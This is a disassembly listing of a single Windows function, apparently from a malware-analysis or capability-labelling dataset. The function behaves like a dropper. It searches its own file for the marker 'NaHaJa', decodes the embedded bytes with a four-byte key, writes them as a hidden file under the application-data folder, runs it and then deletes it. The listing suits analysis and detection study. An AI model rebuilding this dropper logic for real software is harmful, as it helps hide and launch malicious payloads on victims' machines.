Function at 0x4015fe
Capabilities:
Create process on windows
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2ac
mov dword [ebp - 0x244], sym.Hj_ahE_dWj5_thth__jih8_0o4JiKjmjrmLl_Lm4kKjmjrmLl_Lm9a
mov dword [ebp - 0x240], 0x43c03e
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401c85
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040d0f0
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
mov dword [ebp - 0x258], 0xffffffff
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], 0x43d040
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x43d03b
mov byte [eax], 0
mov dword [esp], 0x43d040
call sym.mLLmomOmLjsmmL__2djs__mhmh4_lKhw__mhLmhng
mov dword [ebp - 0x1c], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], 0x441194
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x441150
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_memset
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], 0x43d040
call sub.msvcrt.dll_memset
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp], 0x4410b0
call sym.8MmdlmLLmomOmLjsmmL__2djs__mhmh4_lKhw__mhLmh
test al, al
je 0x4017c2
mov dword [ebp - 0x260], 0
jmp 0x401d17
mov dword [ebp - 0x258], 0xffffffff
call sym.Lqm4BLd_h8MmdlmLLmomOmLjsmmL__2djs__mhmh4_lKh
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0x43d040
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.jmmL_ppLedm:SpxmXmeLlKhNml4LbepmmlKlKmpmuL
mov dword [esp + 8], 4
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call sym.m5gK__lKp4huKm4oLlKLmlKm:l_H_mlgLm4nL_TlK3p_hqu
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sym.X4BLmLmFmL7ULl_Lm2_jlL4Lmc_mtmLpLmpmLhPjNmhPUlsmdLmoLj
mov dword [esp + 8], 4
mov dword [esp + 4], 0x441030
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.LS_h_hTb_4L_hm__lgThqhUMmj_lKdlW__ltKSphMJm46sLh3Klhqj3lKL3p
mov dword [esp + 4], 2
mov dword [esp], 0x441030
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.Tj_m:ooooooohR62Xj_4j_Vju4__R484lLl_LmYj__kj__8hE
test al, al
jne 0x401b96
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4e
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x48
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x4a
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
add dword [0x441018], 1
adc dword [0x44101c], 0
cmp byte [0x441020], 0x61
jne 0x401873
mov byte [0x441130], 1
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
movzx eax, byte [0x441020]
mov byte [0x43d0c0], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
movzx eax, byte [0x441020]
mov byte [0x43d0c1], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
movzx eax, byte [0x441020]
mov byte [0x43d0c2], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
movzx eax, byte [0x441020]
mov byte [0x43d0c3], al
lea eax, [ebp - 0x128]
add eax, 0x74
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.Tj_m:ooooooohR62Xj_4j_Vju4__R484lLl_LmYj__kj__8hE
test al, al
jne 0x401873
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.LmLmKQoLmLmKUQoLmLmKQoLmLmKQoLmLmKQoLmLmKQoLmLmK_QoLmLmK_Q
mov ecx, dword [0x441010]
mov ebx, dword [0x441014]
mov dword [ebp - 0x268], ecx
mov dword [ebp - 0x264], ebx
mov eax, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], edx
cmp dword [ebp - 0x26c], 0
jns 0x401b1f
add dword [ebp - 0x270], 3
adc dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 0x26c]
shrd eax, edx, 2
sar edx, 2
shld edx, eax, 2
shl eax, 2
mov ecx, dword [ebp - 0x268]
mov ebx, dword [ebp - 0x264]
sub ecx, eax
sbb ebx, edx
mov eax, ecx
mov edx, ebx
add eax, 0x43d0c0
movzx eax, byte [eax]
sub byte [0x441020], al
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.YkSb_olb_hnb5bG0_ol_TE_VEYJT__NlLmSwh_Pml_LmmLb_Xb5w_LE5V:mLE
add dword [0x441010], 1
adc dword [0x441014], 0
jmp 0x401a97
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 1
call sym.hoL7L4bm:4LmLm70ooooooo6h16K2m_uhSlKhOKlhKlKhGKlm_h_lKhlK
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sym.KLml4_mLh_KlE4Ll__F5nLFKloLjcdm_Lm7lKj7KllvVE_E
cmp byte [0x441130], 0
je 0x401c1e
mov dword [esp + 0x24], 0x441194
mov dword [esp + 0x20], 0x441150
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x441030
call sub.KERNEL32.DLL_CreateProcessA
sub esp, 0x28
jmp 0x401c37
mov dword [esp], 0x441030
mov dword [ebp - 0x258], 1
call sub.KERNEL32.DLL_DeleteFileA
sub esp, 4
mov dword [ebp - 0x258], 1
call sym.__mhLmhngKX3dlch_LhKKldKkG_mhSlKdlsh_Lh_Kl__
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [ebp - 0x258], 2
call sym._0hECh_C_s__v_dJl_5kKoooooohRb8__hj_yhujpmbpLmbpLUt
lea eax, [ebp - 0x128]
mov dword [esp], eax
mov dword [ebp - 0x258], 0xffffffff
call sym.mLl_LmPl
mov dword [ebp - 0x260], 0
jmp 0x401d17
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x260]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10